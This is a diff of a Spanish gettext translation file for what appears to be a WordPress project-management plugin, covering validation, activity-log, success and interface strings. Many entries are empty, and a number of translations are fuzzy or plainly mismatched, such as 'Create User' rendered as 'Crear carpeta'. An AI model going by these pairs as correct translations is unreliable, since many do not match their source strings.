+msgid "Co-worker is person who works under a project." +msgstr "" + +#: src/Category/Validators/Create_Category.php:10 +#: src/Category/Validators/Update_Category.php:10 +#, fuzzy +#| msgid "Task title is required." +msgid "Category title is required." +msgstr "Se requiere un nombre de Actividad." + +#: src/Category/Validators/Update_Category.php:11 +#, fuzzy +#| msgid "Email is required." +msgid "Category id is required." +msgstr "E-mail es requerido." + +#: src/Category/Validators/Update_Category.php:12 +msgid "Category id must be greater than zero" +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:10 +#: src/Comment/Validators/Update_Comment.php:10 +#, fuzzy +#| msgid "Task title is required." +msgid "Comment title is required." +msgstr "Se requiere un nombre de Actividad." + +#: src/Comment/Validators/Create_Comment.php:11 +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 +#: src/Milestone/Validators/Create_Milestone.php:11 +#: src/Project/Validators/Update_Project.php:11 +#: src/Task/Validators/Create_Task.php:11 +#: src/Task_List/Validators/Create_Task_List.php:11 +msgid "Project id is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:11 +#, fuzzy +#| msgid "Email is required." +msgid "Comment id is required." +msgstr "E-mail es requerido." + +#: src/Comment/Validators/Update_Comment.php:12 +msgid "Comment id must be greater than zero" +msgstr "" + +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 +#, fuzzy +#| msgid "Task title is required." +msgid "Discussion title is required." +msgstr "Se requiere un nombre de Actividad." + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 +#, fuzzy +#| msgid "Task title is required." +msgid "Discuss title is required." +msgstr "Se requiere un nombre de Actividad." + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 +#, fuzzy +#| msgid " is required." +msgid "Discuss id is required." +msgstr " se requiere." + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 +msgid "Discuss id must be greater than zero" +msgstr "" + +#: src/File/Controllers/File_Controller.php:97 +msgid "file not found" +msgstr "archivo no encontrado" + +#: src/Milestone/Controllers/Milestone_Controller.php:58 +msgid "this is mishu" +msgstr "" + +#: src/Milestone/Validators/Create_Milestone.php:10 +#: src/Milestone/Validators/Update_Milestone.php:10 +#, fuzzy +#| msgid "Milestone name is required." +msgid "Milestone title is required." +msgstr "Nombre de Etapa Requerido." + +#: src/Milestone/Validators/Update_Milestone.php:11 +#, fuzzy +#| msgid "Milestone name is required." +msgid "Milestone id is required." +msgstr "Nombre de Etapa Requerido." + +#: src/Milestone/Validators/Update_Milestone.php:12 +msgid "Milestone id must be greater than zero" +msgstr "" + +#: src/Project/Validators/Create_Project.php:10 +#: src/Project/Validators/Update_Project.php:10 +msgid "Project title is required." +msgstr "" + +#: src/Project/Validators/Update_Project.php:12 +msgid "Project id must be greater than zero" +msgstr "" + +#: src/Role/Validators/Create_Role.php:10 +#: src/Role/Validators/Update_Role.php:10 +#, fuzzy +#| msgid "Task title is required." +msgid "Role title is required." +msgstr "Se requiere un nombre de Actividad." + +#: src/Role/Validators/Update_Role.php:11 +#, fuzzy +#| msgid " is required." +msgid "Role id is required." +msgstr " se requiere." + +#: src/Role/Validators/Update_Role.php:12 +msgid "Role id must be greater than zero" +msgstr "" + +#: src/Task/Validators/Create_Task.php:10 +#: src/Task/Validators/Update_Task.php:10 +msgid "Task title is required." +msgstr "Se requiere un nombre de Actividad." + +#: src/Task/Validators/Update_Task.php:11 +#, fuzzy +#| msgid "Task title is required." +msgid "Task id is required." +msgstr "Se requiere un nombre de Actividad." + +#: src/Task/Validators/Update_Task.php:12 +msgid "Task id must be greater than zero" +msgstr "" + +#: src/Task_List/Validators/Create_Task_List.php:10 +#: src/Task_List/Validators/Update_Task_List.php:10 +#, fuzzy +#| msgid "Task title is required." +msgid "Task list title is required." +msgstr "Se requiere un nombre de Actividad." + +#: src/Task_List/Validators/Update_Task_List.php:11 +#, fuzzy +#| msgid "Task list name is required." +msgid "Task list id is required." +msgstr "Nombre de Lista requerido." + +#: src/Task_List/Validators/Update_Task_List.php:12 +msgid "Task list id must be greater than zero" +msgstr "" + +#: texts/activities.php:6 +msgid "%1$s has created a project titled as %2$s" +msgstr "%1$s ha creado un proyecto titulado como %2$s" + +#: texts/activities.php:10 +msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:14 +msgid "%1$s has updated %2$s project description." +msgstr "" + +#: texts/activities.php:18 +msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:22 +msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:26 +msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:30 +msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:34 +msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:40 +msgid "%1$s has created a discussion board titled as %2$s." +msgstr "" + +#: texts/activities.php:44 +msgid "" +"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:48 +msgid "%1$s has updated the description of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:52 +msgid "%1$s has updated the order of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:58 +msgid "%1$s has created a task list titled as %2$s." +msgstr "" + +#: texts/activities.php:62 +msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:66 +msgid "%1$s has updated the description of a task list, %2$s." +msgstr "" + +#: texts/activities.php:70 +msgid "%1$s has updated the order of a task list, %2$s." +msgstr "" + +#: texts/activities.php:76 +msgid "%1$s has created a milestone, %2$s." +msgstr "" + +#: texts/activities.php:80 +msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:84 +msgid "%1$s has updated the description of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:88 +msgid "%1$s has updated the order of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:94 +msgid "%1$s has created a task, %2$s." +msgstr "" + +#: texts/activities.php:98 +msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:102 +msgid "%1$s has updated the description of a task, %2$s." +msgstr "" + +#: texts/activities.php:106 +msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:110 +msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:114 +msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:118 +msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:122 +msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:126 +msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:130 +msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:134 +msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:140 +msgid "%1$s has commented on a task, %2$s." +msgstr "" + +#: texts/activities.php:144 +msgid "%1$s has updated a comment on a task, %2$s." +msgstr "" + +#: texts/activities.php:148 +msgid "%1$s has replied a comment on a task, %2$s" +msgstr "" + +#: texts/activities.php:152 +msgid "%1$s has updated a reply comment on a task, %2$s." +msgstr "" + +#: texts/activities.php:158 +msgid "%1$s has commented on a task list, %2$s." +msgstr "" + +#: texts/activities.php:162 +msgid "%1$s has updated a comment on a task list, %2$s." +msgstr "" + +#: texts/activities.php:166 +msgid "%1$s has replied a comment on a task list, %2$s" +msgstr "" + +#: texts/activities.php:170 +msgid "%1$s has updated a reply comment on a task list, %2$s." +msgstr "" + +#: texts/activities.php:176 +msgid "%1$s has commented on a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:180 +msgid "%1$s has updated a comment on a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:184 +msgid "%1$s has replied a comment on a discussion board, %2$s" +msgstr "" + +#: texts/activities.php:188 +msgid "%1$s has updated a reply comment on a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:194 +msgid "%1$s has commented on a milestone, %2$s." +msgstr "" + +#: texts/activities.php:198 +msgid "%1$s has updated a comment on a milestone, %2$s." +msgstr "" + +#: texts/activities.php:202 +msgid "%1$s has replied a comment on a milestone, %2$s" +msgstr "" + +#: texts/activities.php:206 +msgid "%1$s has updated a reply comment on a milestone, %2$s." +msgstr "" + +#: texts/activities.php:212 +msgid "%1$s has commented on the project, %2$s." +msgstr "" + +#: texts/activities.php:216 +msgid "%1$s has updated a comment on the project, %2$s." +msgstr "" + +#: texts/activities.php:220 +msgid "%1$s has replied a comment on the project, %2$s" +msgstr "" + +#: texts/activities.php:224 +msgid "%1$s has updated a reply comment on the project, %2$s." +msgstr "" + +#: texts/activities.php:230 +msgid "%1$s has commented on a file, %2$s." +msgstr "" + +#: texts/activities.php:234 +msgid "%1$s has updated a comment on a file, %2$s." +msgstr "" + +#: texts/activities.php:238 +msgid "%1$s has replied a comment on a file, %2$s" +msgstr "" + +#: texts/activities.php:242 +msgid "%1$s has updated a reply comment on a file, %2$s." +msgstr "" + +#: texts/activities.php:246 +msgid "%1$s has duplicated project from , %2$s." +msgstr "" + +#: texts/resource_types.php:5 +msgid "project" +msgstr "proyecto" + +#: texts/resource_types.php:8 +msgid "discussion board" +msgstr "foros board" + +#: texts/resource_types.php:11 +msgid "task list" +msgstr "componentes" + +#: texts/resource_types.php:14 +msgid "task" +msgstr "actividad" + +#: texts/resource_types.php:17 +msgid "milestone" +msgstr "hito" + +#: texts/resource_types.php:20 +msgid "comment" +msgstr "comentario" + +#: texts/resource_types.php:23 +msgid "file" +msgstr "archivo" + +#: texts/success_messages.php:6 +msgid "A project has been created successfully." +msgstr "" + +#: texts/success_messages.php:9 +msgid "A project has been updated successfully." +msgstr "" + +#: texts/success_messages.php:12 +msgid "A project has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:16 +msgid "A category has been created successfully." +msgstr "" + +#: texts/success_messages.php:19 +msgid "A category has been updated successfully." +msgstr "" + +#: texts/success_messages.php:22 +msgid "A category has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:25 +msgid "All the selected categories has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:29 +msgid "Successfully commented." +msgstr "" + +#: texts/success_messages.php:32 +msgid "A comment has been updated successfully." +msgstr "" + +#: texts/success_messages.php:35 +msgid "A comment has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:39 +msgid "A new discussion has been created successfully." +msgstr "" + +#: texts/success_messages.php:42 +msgid "A discussion has been updated successfully." +msgstr "" + +#: texts/success_messages.php:45 +msgid "A discussion has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:49 +msgid "A new milestone has been created successfully." +msgstr "" + +#: texts/success_messages.php:52 +msgid "A milestone has been updated successfully." +msgstr "" + +#: texts/success_messages.php:55 +msgid "A milestone has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:59 +msgid "A new task list has been created successfully." +msgstr "Nuevo Componente creado correctamente." + +#: texts/success_messages.php:62 +msgid "Task list has been updated successfully." +msgstr "Componente actualizado con éxito." + +#: texts/success_messages.php:65 +msgid "Task list has been deleted successfully." +msgstr "Componente borrado correctamente." + +#: texts/success_messages.php:69 +msgid "A new task has been created successfully." +msgstr "Se ha creado una nueva Actividad correctamente." + +#: texts/success_messages.php:72 +msgid "A Task has been updated successfully." +msgstr "" + +#: texts/success_messages.php:75 +msgid "The task has been deleted successfully." +msgstr "La Actividad ha sido eliminada correctamente." + +#: texts/success_messages.php:78 +msgid "Settings has been changed successfully." +msgstr "" + +#: texts/success_messages.php:81 +msgid "No element found" +msgstr "" + +#: texts/success_messages.php:84 +#, fuzzy +#| msgid "No Project Found" +msgid "No Project found" +msgstr "No se encontraron Proyectos" + +#: texts/success_messages.php:87 +msgid "Task marked as done" +msgstr "Marcar Actividad como completada" + +#: texts/success_messages.php:90 +msgid "Task reopened" +msgstr "Actividad reactivada" + +#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 +msgid "Every %d Minutes" +msgstr "" + +#: views/assets/js/library.js:887 views/assets/js/library.js:1099 +#: views/assets/js/library.js:4869 views/assets/js/pm.js:887 +#: views/assets/js/pm.js:1099 views/assets/js/pm.js:5443 +#: views/assets/js/pm.js:5954 views/assets/js/pm.js:9713 +#: views/assets/js/pm.js:14773 +#: views/assets/src/components/categories/categories.vue:255 +#: views/assets/src/components/project-discussions/mixin.js:507 +#: views/assets/src/components/project-task-lists/list-comments.vue:111 +#: views/assets/src/components/project-task-lists/mixin.js:382 +#: views/assets/src/components/project-task-lists/mixin.js:602 +#: views/assets/src/components/project-task-lists/task-comments.vue:131 +msgid "Are you sure!" +msgstr "Esta seguro!" + +#: views/assets/js/library.js:3158 views/assets/js/pm.js:3732 +#: views/assets/src/helpers/mixin/mixin.js:703 +#: views/assets/vendor/mixin/mixin.js:636 +msgid "Are you sure to delete this project?" +msgstr "¿Estás seguro que quieres eliminar este proyecto?" + +#: views/assets/js/library.js:3841 views/assets/js/pm.js:4415 +#: views/assets/src/components/common/text-editor.vue:37 +msgid "Write a comment..." +msgstr "Agregar nuevo..." + +#: views/assets/js/library.js:4169 views/assets/js/pm.js:4743 +#: views/assets/src/components/project-task-lists/single-task.vue:295 +msgid "Update Description" +msgstr "Descripción de la actualización" + +#: views/assets/js/library.js:4632 views/assets/js/pm.js:5206 +#: views/assets/js/pm.js:10728 views/assets/js/pm.js:14513 +#: views/assets/src/components/project-discussions/comment-form.vue:39 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:48 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:64 +msgid "Add New Comment" +msgstr "Añadir nuevo comentario" + +#: views/assets/js/library.js:4633 views/assets/js/pm.js:5207 +#: views/assets/js/pm.js:10729 views/assets/js/pm.js:14514 +#: views/assets/src/components/project-discussions/comment-form.vue:40 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:49 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:65 +#: views/emails/html/update-comment.php:12 +msgid "Update Comment" +msgstr "Actualizar Comentario" + +#: views/assets/js/library.js:5620 views/assets/js/pm.js:7465 +msgid "textarea" +msgstr "" + +#: views/assets/js/library.js:5661 views/assets/js/pm.js:7506 +#: views/assets/js/pm.js:25191 +msgid "form" +msgstr "" + +#: views/assets/js/library.js:5753 views/assets/js/library.js:5843 +#: views/assets/js/library.js:6109 views/assets/js/library.js:6887 +#: views/assets/js/library.js:6964 views/assets/js/library.js:7110 +#: views/assets/js/library.js:10361 views/assets/js/library.js:10395 +#: views/assets/js/library.js:10440 views/assets/js/library.js:10498 +#: views/assets/js/library.js:10699 views/assets/js/library.js:10757 +#: views/assets/js/pm.js:7598 views/assets/js/pm.js:7688 +#: views/assets/js/pm.js:7954 views/assets/js/pm.js:8732 +#: views/assets/js/pm.js:8809 views/assets/js/pm.js:8955 +#: views/assets/js/pm.js:23547 views/assets/js/pm.js:23616 +#: views/assets/js/pm.js:23915 views/assets/js/pm.js:24205 +#: views/assets/js/pm.js:24239 views/assets/js/pm.js:24446 +#: views/assets/js/pm.js:24569 views/assets/js/pm.js:24729 +#: views/assets/js/pm.js:24763 views/assets/js/pm.js:25132 +#: views/assets/js/pm.js:25346 views/assets/js/pm.js:25862 +#: views/assets/js/pm.js:25896 views/assets/js/pm.js:25987 +#: views/assets/js/pm.js:26537 views/assets/js/pm.js:26640 +#: views/assets/js/pm.js:26731 views/assets/js/pm.js:26795 +#: views/assets/js/pm.js:26886 views/assets/js/pm.js:27157 +#: views/assets/js/pm.js:27200 views/assets/js/pm.js:27551 +#: views/assets/js/pm.js:27638 views/assets/js/pm.js:27777 +#: views/assets/js/pm.js:28558 views/assets/js/pm.js:28592 +#: views/assets/js/pm.js:28674 views/assets/js/pm.js:29193 +#: views/assets/js/pm.js:29234 views/assets/js/pm.js:29675 +#: views/assets/js/pm.js:29935 views/assets/js/pm.js:29969 +#: views/assets/js/pm.js:30251 views/assets/js/pm.js:30296 +#: views/assets/js/pm.js:30476 views/assets/js/pm.js:30954 +#: views/assets/js/pm.js:31165 views/assets/js/pm.js:31200 +#: views/assets/js/pm.js:31386 views/assets/js/pm.js:31477 +#: views/assets/js/pm.js:31586 views/assets/js/pm.js:31651 +#: views/assets/js/pm.js:31962 views/assets/js/pm.js:32460 +#: views/assets/js/pm.js:32830 views/assets/js/pm.js:33075 +#: views/assets/js/pm.js:33109 views/assets/js/pm.js:33209 +#: views/assets/js/pm.js:33376 views/assets/js/pm.js:33446 +#: views/assets/js/pm.js:33803 views/assets/js/pm.js:33846 +#: views/assets/js/pm.js:34055 views/assets/js/pm.js:34228 +#: views/assets/js/pm.js:34332 views/assets/js/pm.js:34372 +msgid "div" +msgstr "" + +#: views/assets/js/library.js:6909 views/assets/js/pm.js:8754 +#: views/assets/js/pm.js:23525 +msgid "span" +msgstr "" + +#: views/assets/js/library.js:6937 views/assets/js/pm.js:8782 +#: views/assets/js/pm.js:24537 views/assets/js/pm.js:26571 +#: views/assets/js/pm.js:28649 views/assets/js/pm.js:32805 +#: views/assets/js/pm.js:33414 +msgid "input" +msgstr "" + +#: views/assets/js/pm.js:2326 +#: views/assets/src/components/project-milestones/mixin.js:316 +msgid "Are you sure! Want to delete this milestones?" +msgstr "" + +#: views/assets/js/pm.js:5999 +#: views/assets/src/components/project-discussions/mixin.js:554 +msgid "Are you sure to delete this comment?" +msgstr "" + +#: views/assets/js/pm.js:9674 +#: views/assets/src/components/categories/categories.vue:23 +#: views/assets/src/components/categories/categories.vue:212 +msgid "Add New Category" +msgstr "Agregar Categoría Nueva" + +#: views/assets/js/pm.js:9793 +#: views/assets/src/components/categories/edit-category-form.vue:42 +msgid "Update Category" +msgstr "Actualizar Categoría" + +#: views/assets/js/pm.js:10288 views/assets/js/pm.js:12746 +#: views/assets/src/components/common/header.vue:81 +#: views/assets/src/components/project-lists/project-summary.vue:165 +#, fuzzy +#| msgid "Project Activity" +msgid "Project Actions" +msgstr "Actividad de Proyecto" + +#: views/assets/js/pm.js:10314 +#: views/assets/src/components/common/header.vue:110 +msgid "Overview" +msgstr "Estadisticas" + +#: views/assets/js/pm.js:10323 +#: views/assets/src/components/common/header.vue:121 +msgid "Activities" +msgstr "Registro" + +#: views/assets/js/pm.js:10332 +#: views/assets/src/components/common/header.vue:132 +#: views/assets/src/components/project-discussions/discussions.vue:20 +#: views/assets/src/components/project-lists/project-summary.vue:32 +#: views/assets/src/components/project-milestones/completed-milestones.vue:32 +#: views/assets/src/components/project-milestones/late-milestones.vue:39 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 +#: views/assets/src/components/project-overview/overview.vue:31 +msgid "Discussions" +msgstr "Foros" + +#: views/assets/js/pm.js:10341 +#: views/assets/src/components/common/header.vue:143 +#: views/assets/src/components/project-lists/project-summary.vue:48 +#: views/assets/src/components/project-milestones/completed-milestones.vue:23 +#: views/assets/src/components/project-milestones/late-milestones.vue:30 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 +#: views/assets/src/components/project-overview/overview.vue:46 +#: views/assets/src/components/project-task-lists/default-list-page.vue:4 +msgid "Task Lists" +msgstr "Componentes" + +#: views/assets/js/pm.js:10350 +#: views/assets/src/components/common/header.vue:154 +#: views/assets/src/components/project-lists/project-summary.vue:78 +#: views/assets/src/components/project-milestones/milestones.vue:19 +#: views/assets/src/components/project-overview/overview.vue:97 +msgid "Milestones" +msgstr "Metas" + +#: views/assets/js/pm.js:10359 +#: views/assets/src/components/common/header.vue:165 +#: views/assets/src/components/project-lists/project-summary.vue:93 +#: views/assets/src/components/project-overview/overview.vue:82 +msgid "Files" +msgstr "Archivos" + +#: views/assets/js/pm.js:10975 +#: views/assets/src/components/categories/categories.vue:104 +#: views/assets/src/components/common/header.vue:10 +#: views/assets/src/components/project-discussions/discussions.vue:158 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 +msgid "Edit" +msgstr "Editar" + +#: views/assets/js/pm.js:10976 +#: views/assets/src/components/project-discussions/discussions.vue:159 +msgid "Delete this message" +msgstr "Eliminar este mensaje" + +#: views/assets/js/pm.js:10977 +#: views/assets/src/components/project-discussions/discussions.vue:160 +#, fuzzy +#| msgid "Make private" +msgid "Make it private" +msgstr "Definir como Privado" + +#: views/assets/js/pm.js:11351 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:55 +msgid "Enter message title" +msgstr "Introducir Título del Mensaje" + +#: views/assets/js/pm.js:11352 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:56 +msgid "Add Message" +msgstr "Añadir Mensaje" + +#: views/assets/js/pm.js:11353 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:57 +msgid "Update Message" +msgstr "Actualizar Mensaje" + +#: views/assets/js/pm.js:12089 +#: views/assets/src/components/project-lists/header.vue:69 +msgid "Start a new project" +msgstr "Empezar nuevo proyecto" + +#: views/assets/js/pm.js:12190 +#: views/assets/src/components/project-lists/project-create-form.vue:87 +msgid "Name of the project" +msgstr "Nombre del Proyecto" + +#: views/assets/js/pm.js:12191 +#: views/assets/src/components/project-lists/project-create-form.vue:88 +msgid "Some details about the project (optional)" +msgstr "Algunos detalles del Proyecyo (opcional)" + +#: views/assets/js/pm.js:12192 +#: views/assets/src/components/project-lists/project-create-form.vue:89 +msgid "Type 3 or more characters to search users..." +msgstr "Introduzca 3 o más caracteres para buscar usuarios..." + +#: views/assets/js/pm.js:12193 views/assets/js/pm.js:18016 +#: views/assets/src/components/project-lists/directive.js:75 +#: views/assets/src/components/project-lists/project-create-form.vue:90 +msgid "Create a new user" +msgstr "Crear un nuevo usuario" + +#: views/assets/js/pm.js:12194 +#: views/assets/src/components/project-lists/project-create-form.vue:91 +msgid "Add New Project" +msgstr "Añadir nuevo Proyecto" + +#: views/assets/js/pm.js:12195 +#: views/assets/src/components/project-lists/project-create-form.vue:92 +#: views/emails/html/update-project.php:9 +msgid "Update Project" +msgstr "Actualizar Proyecto" + +#: views/assets/js/pm.js:12536 +#: views/assets/src/components/project-lists/project-new-user-form.vue:43 +msgid "Create User" +msgstr "Crear carpeta" + +#: views/assets/js/pm.js:12853 +#: views/assets/src/components/project-lists/project-view.vue:17 +msgid "List View" +msgstr "Ver Actividad" + +#: views/assets/js/pm.js:12854 +#: views/assets/src/components/project-lists/project-view.vue:18 +msgid "Grid View" +msgstr "Ver Mensaje" + +#: views/assets/js/pm.js:12946 +#: views/assets/src/components/project-milestones/action-milestones.vue:33 +msgid "Edit Milestone" +msgstr "Editar Meta" + +#: views/assets/js/pm.js:12947 +#: views/assets/src/components/project-milestones/action-milestones.vue:34 +msgid "Delete milestone" +msgstr "Eliminar Hito" + +#: views/assets/js/pm.js:12948 +#: views/assets/src/components/project-milestones/action-milestones.vue:35 +msgid "Mark as incomplete" +msgstr "Marcar como incompleto" + +#: views/assets/js/pm.js:12949 +#: views/assets/src/components/project-milestones/action-milestones.vue:36 +msgid "Mark as complete" +msgstr "Marcar como completo" + +#: views/assets/js/pm.js:13571 views/assets/js/pm.js:15563 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 +#: views/assets/src/components/project-task-lists/new-task-form.vue:112 +msgid "Due Date" +msgstr "Fecha de vencimiento" + +#: views/assets/js/pm.js:13572 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 +msgid "Milestone name" +msgstr "Nombre de la Meta" + +#: views/assets/js/pm.js:13573 +#: views/assets/src/components/project-milestones/milestones.vue:24 +#: views/assets/src/components/project-milestones/milestones.vue:52 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 +msgid "Add Milestone" +msgstr "Añadir Meta" + +#: views/assets/js/pm.js:13574 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 +msgid "Update Milestone" +msgstr "Actualizar Meta" + +#: views/assets/js/pm.js:15560 +#: views/assets/src/components/project-task-lists/new-task-form.vue:109 +msgid "Add a new task" +msgstr "Añadir nueva Actividad" + +#: views/assets/js/pm.js:15561 +#: views/assets/src/components/project-task-lists/new-task-form.vue:110 +msgid "Add extra details about this task (optional)" +msgstr "Agregar detalles adicionales acerca de esta Actividad (opcional)" + +#: views/assets/js/pm.js:15562 +#: views/assets/src/components/project-task-lists/new-task-form.vue:111 +msgid "Start Date" +msgstr "Día de inicio" + +#: views/assets/js/pm.js:15564 +#: views/assets/src/components/project-task-lists/new-task-form.vue:113 +msgid "Select User" +msgstr "Seleccionar usuario" + +#: views/assets/js/pm.js:15565 +#: views/assets/src/components/project-task-lists/new-task-form.vue:114 +msgid "Update Task" +msgstr "Actualizar actividad" + +#: views/assets/js/pm.js:15566 +#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 +#: views/assets/src/components/project-task-lists/new-task-form.vue:115 +msgid "Add Task" +msgstr "Añadir Actividad" + +#: views/assets/js/pm.js:15567 +#: views/assets/src/components/project-task-lists/new-task-form.vue:116 +#, fuzzy +#| msgid "Are you sure to delete this task?" +msgid "Estimated hour to complete the task" +msgstr "¿Seguro de eliminar esta actividad?" + +#: views/assets/js/pm.js:15928 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:71 +msgid "Task list name" +msgstr "Nombre del componente" + +#: views/assets/js/pm.js:15929 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:72 +msgid "Task list details" +msgstr "Detalles del componente" + +#: views/assets/js/pm.js:15930 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:73 +msgid "Update List" +msgstr "Actualizar Lista" + +#: views/assets/js/pm.js:15931 +#: views/assets/src/components/project-discussions/discussions.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:74 +msgid "Add List" +msgstr "Añadir Lista" + +#: views/assets/js/pm.js:16368 +#: views/assets/src/components/project-task-lists/single-list.vue:121 +msgid "Delete List" +msgstr "Eliminar esta lista" + +#: views/assets/js/pm.js:16699 views/assets/js/pm.js:16847 +#: views/assets/src/components/settings/email.vue:82 +#: views/assets/src/components/settings/general.vue:116 +msgid "Save Changes" +msgstr "Guardar Cambios" + +#: views/assets/js/pm.js:18015 +#: views/assets/src/components/project-lists/directive.js:74 +msgid "No users found." +msgstr "No se encontraron usuarios." + +#: views/assets/js/pm.js:18540 +#: views/assets/src/components/project-overview/directive.js:9 +msgid "Activity" +msgstr "Actividad" + +#: views/assets/js/pm.js:23425 views/assets/js/pm.js:23847 +#: views/assets/js/pm.js:31861 +msgid "ul" +msgstr "" + +#: views/assets/js/pm.js:26597 +msgid "a" +msgstr "" + +#: views/assets/js/pm.js:30932 views/assets/js/pm.js:31629 +#, fuzzy +#| msgid "Overview" +msgid "router-view" +msgstr "Estadisticas" + +#: views/assets/js/pm.js:33541 +msgid "svg" +msgstr "" + +#: views/assets/js/pm.js:33711 +msgid "vue-content-loading" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:27 +#: views/assets/src/components/categories/categories.vue:74 +#: views/assets/src/components/categories/categories.vue:130 +#: views/assets/src/components/categories/edit-category-form.vue:8 +msgid "Name" +msgstr "Nombre" + +#: views/assets/src/components/categories/categories.vue:33 +#: views/assets/src/components/categories/categories.vue:79 +#: views/assets/src/components/categories/categories.vue:136 +#: views/assets/src/components/categories/edit-category-form.vue:14 +msgid "Description" +msgstr "Descripción" + +#: views/assets/src/components/categories/categories.vue:54 +msgid "Select bulk action" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:56 +#: views/assets/src/components/categories/categories.vue:155 +msgid "Bulk Actions" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:57 +#: views/assets/src/components/categories/categories.vue:156 +#: views/assets/src/components/common/header.vue:29 +#: views/assets/src/components/project-lists/project-create-form.vue:36 +#: views/assets/src/components/project-lists/project-summary.vue:134 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:74 +msgid "Delete" +msgstr "Eliminar" + +#: views/assets/src/components/categories/categories.vue:69 +#: views/assets/src/components/common/notify-user.vue:7 +msgid "Select all" +msgstr "Seleccionar Todos" + +#: views/assets/src/components/categories/edit-category-form.vue:5 +msgid "Quick Edit" +msgstr "" + +#: views/assets/src/components/categories/edit-category-form.vue:23 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 +#: views/assets/src/components/project-lists/project-create-form.vue:57 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 +#: views/assets/src/components/project-task-lists/new-task-form.vue:51 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:27 +msgid "Cancel" +msgstr "Cancelar" + +#: views/assets/src/components/common/color-picker.vue:9 +msgid "Select Color" +msgstr "" + +#: views/assets/src/components/common/color-picker.vue:25 +msgid "Clear" +msgstr "" + +#: views/assets/src/components/common/color-picker.vue:31 +msgid "Close" +msgstr "Cerrar" + +#: views/assets/src/components/common/file-uploader.vue:10 +msgid "Delete File" +msgstr "Eliminar archivo" + +#: views/assets/src/components/common/file-uploader.vue:16 +msgid "To attach" +msgstr "Para adjuntar" + +#: views/assets/src/components/common/file-uploader.vue:17 +msgid "select files" +msgstr "seleccionar archivos" + +#: views/assets/src/components/common/file-uploader.vue:18 +msgid "from your computer." +msgstr "" + +#: views/assets/src/components/common/header.vue:17 +#: views/assets/src/components/project-lists/project-header-menu.vue:13 +#: views/assets/src/components/project-task-lists/lists.vue:92 +msgid "Completed" +msgstr "Completado" + +#: views/assets/src/components/common/header.vue:18 +#: views/assets/src/components/project-task-lists/lists.vue:102 +msgid "Incomplete" +msgstr "Incompleto" + +#: views/assets/src/components/common/header.vue:36 